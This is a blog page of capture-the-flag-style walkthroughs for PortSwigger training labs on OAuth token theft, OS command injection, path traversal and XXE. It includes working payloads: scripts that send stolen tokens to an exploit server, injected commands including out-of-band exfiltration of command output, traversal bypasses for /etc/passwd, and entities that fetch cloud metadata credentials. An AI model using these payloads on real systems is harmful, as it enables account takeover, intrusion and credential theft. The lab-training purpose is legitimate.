Web application penetration testing

PortSwigger- OAuth Authentication

Posted on 14 November 202311 December 2023 by CyberiumX

Hello folks,
This blog centers on the identification and exploitation of vulnerabilities within OAuth Authentication functionality, specifically focusing on the OAuth 2.0 version. It features an in-depth walkthrough of PortSwigger’s labs, where you can explore OAuth Authentication in more detail.
You can check out the PortSwigger’s labs for OAuth Authentication.
Before proceeding with the labs, I will be explaining about the concept of OAuth Authentication mechanism.
OAuth is a widely adopted authorization framework that empowers websites and web applications to solicit restricted access to a user’s account on a different application. The fundamental OAuth process is extensively employed for incorporating third-party functionality, which necessitates access to specific data from a user’s account.
It operates by orchestrating a sequence of interactions involving three separate entities: the client application, the resource owner, and the OAuth service provider.

Resource owner: This is the user whose data the client application intends to access.
Client application: This refers to the website or web application seeking access to the user’s data.
OAuth service provider: This entity controls the user’s data and access permissions. They facilitate OAuth by offering an API for interacting with both an authorization server and a resource server.

Now we know about OAuth, it’s time to start identifying and exploiting vulnerabilities.

Lab 1- Authentication bypass via OAuth implicit flow

In this lab scenario, we will explore the bypassing of the authentication process by exploiting OAuth’s flow and understanding its vulnerabilities. Our aim is to identify weaknesses that would enable an attacker to gain access to any user’s account without requiring their password.
Click on the “ACCESS THE LAB” button and launch Burp Suite.

Click on “My Account” and login with our Social Media Account credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to Authorize the access of our data to the Client application.

We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite, and we can see different requests that were sent throughout our OAuth Authentication process. In order to identify a vulnerability in the OAuth flow, we need to find an endpoint where we have sent a request with our details and a security token that we received from the OAuth service provider.
Over here, there is an endpoint “authenticate” which contains email, username, and token as body parameters in a POST request.

Let’s take this request to Repeater and then simply try to exploit this vulnerability by changing the email and username with the victim’s details. Now simply send the request.
You will find a response with 302 status code which confirms that we have successfully logged in as victim user i.e. carlos.

Now right click on the response and select the “Show response in browser” option which provides a URL. Click on “Copy” to copy the URL and paste it on your browser.
Now click on “My Account”. We will find that we are logged in as carlos user. Hence, we have solved the lab.

Lab 2- Forced OAuth profile linking

In this scenario, we will learn how we can try to link our social media profile with another user’s account so that we can access their functionality and perform malicious activities. This vulnerability can be performed if the authorization request does not contain a state parameter. This implies that attackers have the potential to initiate an OAuth flow independently and then deceive a user into completing the process.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and login with your client application credentials wiener:peter. Also, you will find a “Login with social media” button which will help us to login with the help of our social media account once we have successfully linked our client application account with a social media account.

We are now logged in to the client application where we have an option “Attach a social profile”.

Let’s click on this and simply follow the steps to login with your social media account with the help of your social media credentials which will link your social profile with your account on client application. After completing the process we will find that we can successfully link our accounts.

Now in order to exploit this vulnerability, we need to generate a new code which remains fresh. So we have to logout from your account and then turn Intercept on. We can generate a new code by simply clicking on the “Login with social media” button. Go to the proxy tab and forward the request until you get /oauth-linking?code=
Now simply right click on the request and select “Copy URL”.

Go to the exploit server and create a payload using <iframe> tag like follows:

<iframe src=”Paste_Link_Here”></iframe>

Click on “Store” and then click on “Deliver exploit to victim”.

Now go back to the web application and try to login using social media by clicking on the “Login with social media” button. We will find that we have access to the Admin panel.

Now click on “Admin panel” and finally we have the option to delete the carlos user. Click on the “Delete” option provided in front of carlos which will solve the lab as well.

Lab 3- OAuth account hijacking via redirect_uri

Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint where we will change the value of redirect_uri to our exploit server to confirm whether this parameter is vulnerable and send the code to our exploit server. After making changes click on “Forward”.

We will check the access logs of the exploit server where we will find the code. This confirms that the “redirect_uri” parameter is vulnerable.

Now identify this request on Burp Suite and copy the URL of this request which we will use to deliver to our victim.

We will go to the exploit server and again use a <iframe> tag to provide this URL.

<iframe src=”Paste_Link_Here”></iframe>

We have to make sure that the “redirect_uri” parameter contains the URL of our exploit server. Now store the code and deliver it to the victim.

Now in order to access the code from the victim we need to access the logs of the exploit server again where we will find the code generated for the victim user.

Now we need to use this code to access the account of the administrator user. We can search a request to /oauth-callback endpoint on Burp suite where we will find a code parameter which helps the server to verify the identity of the user. We will simply send this request to Repeater and replace the code with the one we obtained on our exploit server from the victim user. Simply forward the request and we will find a response with 200 status code. Right click on the response and select “Show response in browser” and copy the URL.

Go back to the browser and paste the URL. Finally we will find the Admin panel using which we can simply delete carlos user from the website in order to solve the lab.

Lab 4- Stealing OAuth access tokens via an open redirect

In this scenario we will try to steal OAuth tokens by exploiting open redirect vulnerability. We can employ this as a proxy to redirect victims, along with their code or token, to a domain controlled by an attacker, allowing for the hosting of any malicious script of our choice.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint. Now try to identify a vulnerability like directory traversal. After /oauth-callback let’s try to provide a post page using ../post?postId=10 which should take us to postId 10.

Let’s forward the request and confirm on the browser. We will find that we are redirected to the post page. Also we can see that we have the access token mentioned in the URL fragment. We have to get this URL fragment.

To capture the URL fragment, we need to host a malicious script on our exploit server. Also there is another parameter which is vulnerable to open redirection vulnerability /post/next?path= where we can provide our exploit server URL as follows:

<script>
if (!document.location.hash) {
window.location = ‘https://OAUTH-SERVER-URL/auth?client_id= LAB-URL&redirect_uri=https://LAB-URL/oauth-callback/../post/next?path=https://EXPLOIT-SERVER-URL/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email’
} else {
window.location = ‘/?’+document.location.hash.substr(1)
}
</script>

Click on “Store” and then on “Deliver exploit to victim“. Go to the Access log and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

Lab 5- Stealing OAuth access tokens via a proxy page

Beyond open redirects, it’s essential to search for any other vulnerabilities that enable the extraction of the code or token, which can then be sent to an external domain. If we can direct the redirect_uri parameter to a page where we can inject our own HTML content, there’s a possibility of leaking the code via the Referer header.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Also, we have to audit other pages on the blog website. We can observe that the comment form is included as an iframe on each blog post. Upon closer examination of the /post/comment/comment-form page in Burp Suite, we can notice that it utilizes the postMessage() method to transmit the window.location.href property to its parent window. Importantly, it allows messages to be posted to any origin (*).
So, let’s take the request for /auth endpoint to Repeater and edit the “redirect_uri” parameter. Add /../post/comment/comment-form after the /oauth-callback and send the request.

Now simply copy the URL of this request and go to the exploit server and host the following code:

<iframe src=”https://YOUR-OAUTH-SERVER-URL /auth?client_id=YOUR-LAB-URL&redirect_uri=https://YOUR-LAB-URL/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email”></iframe>

<script>
window.addEventListener(‘message’, function(e) {
fetch(“/” + encodeURIComponent(e.data.data))
}, false)
</script>

The below code adds an appropriate script that will listen for web messages and display the message contents in a designated location i.e. the access logs of the exploit server.

Click on “Store” and finally click on “Deliver exploit to victim”. Go to the “Access log” and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

We really hope that the blog was informative for you in order to identify and exploit vulnerabilities related to OAuth 2.0 Authentication.
You can check out our other blogs on PortSwigger labs.

Happy Pentesting!!!
Team CyberiumX

Portswigger- Command Injection Vulnerability

Posted on 28 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit Command Injection vulnerabilities on websites. This is also known as OS Command Injection vulnerability. In this blog, I will be providing a detailed walkthrough of all PortSwigger’s Lab. I am assuming that you guys have basic knowledge of Linux and Windows Operators.

You can check out the Portswigger’s labs for Command Injection vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Lab 1- OS command injection, simple case

In this lab scenario, we will be looking at a simple case of Command Injection without any defense in place. The rule 1 in order to exploit this vulnerability is to look for GET and POST parameters on the website. After that, we will simply try to execute OS commands using different operators used on Windows and Linux Operating systems.

Let’s access the lab. We will require the Burp Suite Community edition here.

There are many products available on the home page of the website. We can click on the “View details” button of any product and find that there is a “Check Stock” feature available on the webpage. Let us click on it.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/product/stock” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter starting from productId parameter:

& whoami &

After typing the above payload, select the payload and press Ctrl + u to URL encode the whole payload.

+%26+whoami+%26+

Let me explain this payload to you guys. We want to run the “whoami” command, so in order to execute it we provided a URL encoded & operator (%26), one in the beginning and another one in the end. The reason for using & operator is to execute the previous process in the background and then execute the next command. Also, the URL encoding of space is +.

Simply send the request from Burp Repeater.

We will get the output of whoami command in the response which confirms that this parameter is vulnerable to command injection vulnerability. This will solve the lab.

Lab 2- Blind OS command injection with time delays

In this scenario, we will be understanding what Blind Command Injection vulnerability is and what are the possible ways through which we can identify and exploit it? Blind means that you will not get the output of any command in the response but you can still exploit it using various methods. So, first of all we will be identifying blind command injection vulnerability by generating time delays.

Let’s access the lab. We will require the Burp Suite Community edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Over here, we can provide feedback to the website by submitting a feedback form which has four parameters: Name, Email, Subject and Message. Let us fill the form with any random values and click on the “Submit feedback” button. You will get a message on the web page “Thank you for submitting feedback!”

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

& ping –c 10 127.0.0.1 &

After typing the above payload, select the payload and press Ctrl + u to URL encode whole payload.

+%26+ping+-c+10+127.0.0.1+%26+

Let me explain this payload to you guys. We want to run “ping” command so that we can confirm that the web application is waiting for the command to completely execute and then bring back the response to us. The IP that we have used here is called a Loopback address which is its own interface. In the response, we will not get any output (blind). Hence this will cause a time delay which will help us to confirm blind command injection vulnerability on the parameter. Now, in order to execute it, we provided URL encoded “&” operator (%26), one in the beginning and another one in the end. The reason for using “&” operator is to execute the previous process in the background and then execute the next command. Also, URL encoding of space is +.

Firstly, let us use the above payload on the Name parameter

Simply send the request from Burp Repeater.

You will find that you are getting the response immediately which confirms that the parameter is not vulnerable. Now, try the same payload on Email parameter. Simply send the request from Burp Repeater.

This time you will find that we got the response after 6 seconds which we can confirm from the bottom right corner.

So, we got our vulnerable parameters but this must not have solved the lab because in order to solve it we need 10 seconds time delay.

Let us create another payload where we will increase the number of ping packets to 12 as follows:

+%26+ping+-c+12+127.0.0.1+%26+

Again, let’s send the request from Burp Repeater.

This time we can see that we got the time delay of more than 10 seconds.

There is another command that I would like to discuss here. “Sleep” command allows you to wait for the number of seconds we specified in the command and it will also generate the time delay. Let us try it.

+%26+sleep+10+%26+

Again, let’s send the request from Burp Repeater.

You will again find that we got the delay of exactly around 10 seconds which will help you to solve the lab.

Lab 3- Blind OS command injection with output redirection

In this scenario, we will be learning about how we can exploit blind command injection vulnerability by simply redirecting the output of any command into a file which we can easily access on the target website. Let’s see it in action.

Let’s access the lab. We will require the Burp Suite Community edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+-c+10+127.0.0.1+%26+

It is the same payload that we used in the previous lab to confirm that the parameter is vulnerable to blind command injection vulnerability. Let us directly try the payload on email parameter.

Send the request from Burp Repeater.

We can confirm that the parameter is vulnerable as we got the time delay of around 9 seconds. Great! Let us now change the payload and try to redirect the output of whoami command to any file which we can create in /var/www/images. This location is already provided to us in the lab description. Now the payload will look like the following:

+%26+whoami+>+/var/www/images/a.txt+%26+

Here we are executing the whoami command and then redirecting the output to a file named a.txt using (>) operator which is then stored in the provided location.

Now simply we need to find an image on the webpage and replace the name of the image with our filename and see if it is allowing us to get the command output.

Let’s replace the filename with a.txt and hit enter. We will find that we are getting the output of the whoami command.

This will solve the lab.

Lab 4- Blind OS command injection with out-of-band interaction

In this scenario, we will learn about exploiting blind command injection vulnerability using OAST techniques. We can check if the parameter is vulnerable by using commands like ping or nslookup to send a request to a domain that we control. So, we need to use Burp Collaborator. Let us see how to exploit it.

Let’s access the lab. We will require the Burp Suite Professional edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Now in order to use OAST techniques, we need a Burp Collaborator. So, we will open it and copy the Collaborator’s subdomain by clicking on “Copy to Clipboard”.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+BURP_COLLABORATOR_SUBDOMAIN+%26+

Here, we are simply trying to ping the collaborator’s subdomain to confirm that if we receive any DNS requests on our Collaborator window then the parameter is vulnerable. Let us directly try the payload on email parameters.

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will find that we received some interaction with subdomain which confirms that the email parameter is vulnerable to blind command injection vulnerability.

We can also use nslookup to send DNS requests to the subdomain using the following payload:

+%26+nslookup+BURP_COLLABORATOR_SUBDOMAIN+%26+

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will again find that we received some interaction with the subdomain. Hence it will solve the lab also.

Lab 5- Blind OS command injection with out-of-band data exfiltration

In the final scenario, we will learn how we can exfiltrate data using OAST techniques. We will use Burp Collaborator’s subdomain to get (exfiltrate) the output of any command. Let us begin the process.

Let’s access the lab. We will require Burp Suite Professional edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Now in order to use OAST techniques, we need a Burp Collaborator. So, we will open it and copy the Collaborator’s subdomain by clicking on “Copy to Clipboard”.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+`whoami`.BURP_COLLABORATOR_SUBDOMAIN+%26+

Here, we are simply trying to use a command whoami as a subdomain of collaborator’s domain and using ping command to confirm that if we receive any DNS requests on our Collaborator window then the parameter is vulnerable and it will contain the output of whoami command. Let us directly try the payload on email parameter.

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will find that we received some interaction with subdomain which confirms that the email parameter is vulnerable to blind command injection vulnerability. If we click on any DNS request, we will find the output of whoami command as a subdomain of the collaborator’s domain name.

We can submit the output of the whoami command and this will solve the lab.

We have discovered many ways to identify and exploit Command Injection Vulnerabilities.

You can also check out our other PortSwigger blogs here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger- Path Traversal Vulnerability

Posted on 18 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit Path Traversal vulnerabilities on websites. This is also known as Directory Traversal vulnerability. In this blog, I will be providing a detailed walkthrough of all PortSwigger’s Lab on Path Traversal. I am assuming that you guys have basic knowledge of it.

You can check out the Portswigger’s labs for Path Traversal vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Lab 1- File path traversal, simple case

In this lab scenario, we will be looking at a simple case of Path Traversal without any defense in place. The rule 1 in order to exploit this vulnerability is to look for GET parameters and then try to add dot dot slash combinations (../) to access other files stored on the server.

Let’s access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on “View details” button of any product and find that there is a “productId” parameter on the URL but if you try to include the ../ combinations, you will find that it is not vulnerable to path traversal.

We will keep on looking for some other parameters. If we open the image in the new tab by right clicking on the image and selecting the “Open image in new tab” option, we will find that there is another parameter named “filename” which might be vulnerable to path traversal.

Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

Now in order to see the passwd file we can simply add view-source: in front of the whole URL and it will help us to see the source code of the webpage which will show the contents of the passwd file.

This will help us to solve the lab.

Lab 2- File path traversal, traversal sequences blocked with absolute path bypass

Many web applications will implement some common obstacles to prevent Path traversal vulnerability but these defenses can be circumvented. Here in this scenario, we will be exploring a bypass technique using the absolute path of the file that we want to read.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Now we will simply remove the path traversal sequence and directly provide the absolute path of the file that we want to read as follows:

filename=/etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 3- File path traversal, traversal sequences stripped non-recursively

In this scenario we will understand another obstacle which we might find in real-time websites. The web application can filter out dot dot slash (../) combinations in order to stop path traversal attack. Let us understand what we can do to easily bypass it.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now add the nested path traversal sequences like ….// or ….\/ which will work as the inner sequence will be filtered out and rest will help you to read the contents of system files. So the payload will be:

filename=….//….//….//….//….//….//….//etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 4- File path traversal, traversal sequences stripped with superfluous URL-decode

In this scenario, we will learn another concept to bypass the obstacles for path traversal vulnerability by simply encoding the ../ characters using URL encoding. Let us understand the concept.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. So the payload will be:

filename=../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now URL encode the ../ combination and use it as follows in order to bypass it:

filename= %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f/etc/passwd

Here, %2e%2e%2f is the URL encoding of ../ sequence. After using this payload, we will find that again we are still getting the same error.

Let us now try to perform double URL encoding on our payload as follows:

filename=%252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f/etc/passwd

Here %252e%252e%252f is the double URL encoding of ../ sequence. We will find that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 5- File path traversal, validation of start of path

In this scenario, we will see that the application can also validate the start of file path which will allow us to read those files which will have the same start of path but there is a method through which we can exploit it. Let’s try it out.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. You will find that this time there is a pre-defined path “/var/www/images”. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “Missing parameter filename”.

Let us add the start of path as “/var/www/images” and after that we can add the same ../ sequence to read the contents of /etc/passwd file as follows:

filename=/var/www/images/../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 6- File path traversal, validation of file extension with null byte bypass

Sometimes, the application might check the extension of the file which you asked for and if that extension is not the expected one then we need to add the extension at the end of the file with null byte character (%00). Let’s find out how we can bypass this restriction.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Note the allowed extension of the image file. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us add the null byte character (%00) at the end and after that we will add the expected file extension which is jpg as follows:

filename=../../../../../../../etc/passwd%00.jpg

And we can see that it worked as we have a small image in our browser. Now let us understand how this payload is working. Null byte character is a URL encoded character which means nothing and also we added the jpg extension which will trick the application into sending the request further as the file is ending with the expected extension but the server side code will only consider till passwd as after it we have added the null byte which means the file name ends there.

We discovered many ways to identify and bypass the restriction for path traversal vulnerability. So this was all about Path traversal aka Directory traversal vulnerability.

You can also check out our other blogs here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger | Overview of XXE Vulnerability | Walkthrough

Posted on 9 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit XML External Entities (XXE) Vulnerabilities on websites. In this blog, I will be providing a detailed walkthrough of PortSwigger’s XXE Apprentice Lab. Also, I will be covering all XXE Vulnerability Labs in my other upcoming blogs. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Before moving further, you should have little understanding of XML language and how to create its payload.

Lab-1 Exploiting XXE Vulnerabilities using external entities to retrieve files

There are two lab scenarios that we are going to cover here. First one is how to retrieve local files stored on a Web server using external entities. Second one is how we can perform SSRF attacks using external entities.
So let’s start with retrieving sensitive files. Access the lab and open Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Let’s click on the “View Details” button to check out the details of the products mentioned on the home page. Now scroll down, we’ll find a stock check feature which allows us to check out the remaining stock of the product.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “file:///etc/passwd”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Send the request and we will get a response with the contents of the passwd file.

Hurray!!!. We have successfully identified and exploited our first XXE vulnerability on PortSwigger and hence the lab is solved.

Lab-2 Exploiting XXE to perform SSRF attacks

In this scenario we have to perform a SSRF attack using XXE. For those who do not know about SSRF vulnerability, let me give an explanation. SSRF stands for Server Side Request Forgery. It allows an attacker to send a malicious request to the web server forcing it to perform an external or internal request to some other machines on the behalf of the attacker.

So here we have to force the server to send a request to http://169.254.169.254/ IP address and check if we are getting any response from it by exploiting XXE vulnerability.

We will do the same thing as we did previously. So, let’s access the lab and connect it with Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Let’s send the request and we will see that we are getting “latest” written as the output which might be the next directory.

So, keep on adding the identified directories and send the request using Burp Repeater. The final payload will look like this:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin”> ]>

After sending this final payload, we will receive some information about admin user out of which we require “SecretAccessKey”.

Hurray!!!. We have successfully identified and exploited SSRF vulnerability with the help of XXE vulnerability on PortSwigger and hence the lab is solved.

We have completed two basic labs on XXE. Next you guys can start with Blind XXE vulnerabilities on PortSwigger. You can check it out here on our blog.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX